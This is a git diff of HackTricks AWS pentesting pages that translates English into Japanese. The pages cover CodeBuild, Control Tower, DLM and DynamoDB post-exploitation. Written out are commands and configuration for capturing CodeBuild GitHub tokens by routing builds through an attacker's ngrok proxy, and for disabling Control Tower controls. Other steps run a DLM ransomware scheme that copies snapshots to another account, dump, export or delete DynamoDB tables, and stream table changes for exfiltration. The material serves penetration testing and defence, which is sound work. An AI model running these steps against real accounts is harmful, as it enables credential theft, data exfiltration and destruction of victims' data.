**Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **自分のDocker MitMイメージを作成してアップロード** +- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。 +- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。 +- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。 +- Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します（Dockerhub、ECR...）。 +2. **環境を設定** +- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。 +- プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **ホストにMitMプロキシを設定** +- **Githubリポジトリ**に示されているように、次のようなものを使用できます： ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。 -4. **Run the build & capture the credentials** +4. **ビルドを実行し、認証情報をキャプチャする** -- You can see the token in the **Authorization** header: +- **Authorization**ヘッダーにトークンが表示されます： -
- -This could also be done from the aws cli with something like +
+これは、aws cliを使用して次のように行うこともできます。 ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\ +これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。 +- まず、次のようなもので現在の設定を列挙する必要があります: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（これは収集した設定から変更する必要がある唯一の項目です）。 +- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください： ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- 次に、プロキシ変数（http_proxyおよびhttps_proxy）で指摘されたポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。 ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**（base64）でmitmポートに**送信されます**：
-### ~~Via HTTP protocol~~ +### ~~HTTPプロトコル経由~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました（金曜日だと思います）。したがって、攻撃者はもはやこれを悪用できません :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。 -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます（例えば`http://5.tcp.eu.ngrok.io:14972`）。
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば：`http://github.com/carlospolop-forks/TestActions` +- 次に、プロキシ変数（http_proxyとhttps_proxy）で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。 ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- 次に、**プロジェクトをビルド**をクリックするか、コマンドラインからビルドを開始します: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- 最後に、**credentials**は**平文**（base64）でmitmポートに**送信されます**：
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に（悪用）できるようになります。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..1c8e8f1b8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### コントロールの有効化 / 無効化 +アカウントをさらに悪用するために、Control Towerのコントロールを無効化/有効化する必要があるかもしれません: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..bc48988a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -2,98 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## データライフサイクルマネージャー (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。 -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。 `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +次に、ライフサイクルポリシーを作成します。このコマンドはDLM APIを使用して、指定されたボリュームの毎日のスナップショットを指定された時間に自動的に取得するライフサイクルポリシーを設定します。また、スナップショットに特定のタグを適用し、ボリュームからスナップショットにタグをコピーします。policyDetails.jsonファイルには、ターゲットタグ、スケジュール、暗号化のためのオプションのKMSキーのARN、スナップショット共有のためのターゲットアカウントなど、ライフサイクルポリシーの詳細が含まれており、被害者のCloudTrailログに記録されます。 ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +ポリシー文書のテンプレートはここにあります: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..2a563f287 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - DynamoDB Post Exploitation +# AWS - DynamoDB ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**（テーブルのすべてのデータを単に要求することはできません）。これは、プライマリキーを知っている必要があることを意味します（これはテーブルメタデータを取得することで得られます（`describe-table`）。 {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +この権限を使用すると、**`transact-get-items`** メソッドを次のように使用することも可能です: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較（必ず表示される必要があります）は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。 {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +この権限を使用して、**テーブル全体を簡単にダンプすることができます**。 ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +この権限を使用すると、**テーブル全体を簡単にダンプできます**。 ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +この権限は、次のように `batch-execute-statement` を実行することも許可します: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +しかし、値を指定してプライマリキーを設定する必要があるため、それほど便利ではありません。 -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +この権限により、攻撃者は**自分の選択したS3バケットにテーブル全体をエクスポート**することができます: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +注意：これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます： ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる（または、バックアップを作成してから別のテーブルに復元することもできる）。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。 ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +この権限は、ユーザーが**テーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じプライマリキーを持つアイテムがすでに存在する場合、**全体のアイテムが新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが**作成されます**。 {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**潜在的影響:** DynamoDBテーブル内のデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用 ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**のではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。** {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**潜在的な影響:** DynamoDBテーブルにデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用 ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +この権限を持つ攻撃者は**DynamoDBテーブルを削除し、データ損失を引き起こす**ことができます。 ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。 ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +この権限を持つ攻撃者は、**DynamoDBのバックアップを削除でき、災害復旧シナリオの場合にデータ損失を引き起こす可能性があります**。 ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不能。 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: これが実際に機能するかテストする -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。 +1. DynamoDBテーブルでストリームを有効にする: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. ARNやその他の詳細を取得するためのストリームを説明します: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. ストリームARNを使用してシャードイテレータを取得します: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..a2006b2e8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,27 +4,26 @@ ## EC2 & VPC -For more information check: +詳細については、次を確認してください： {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, 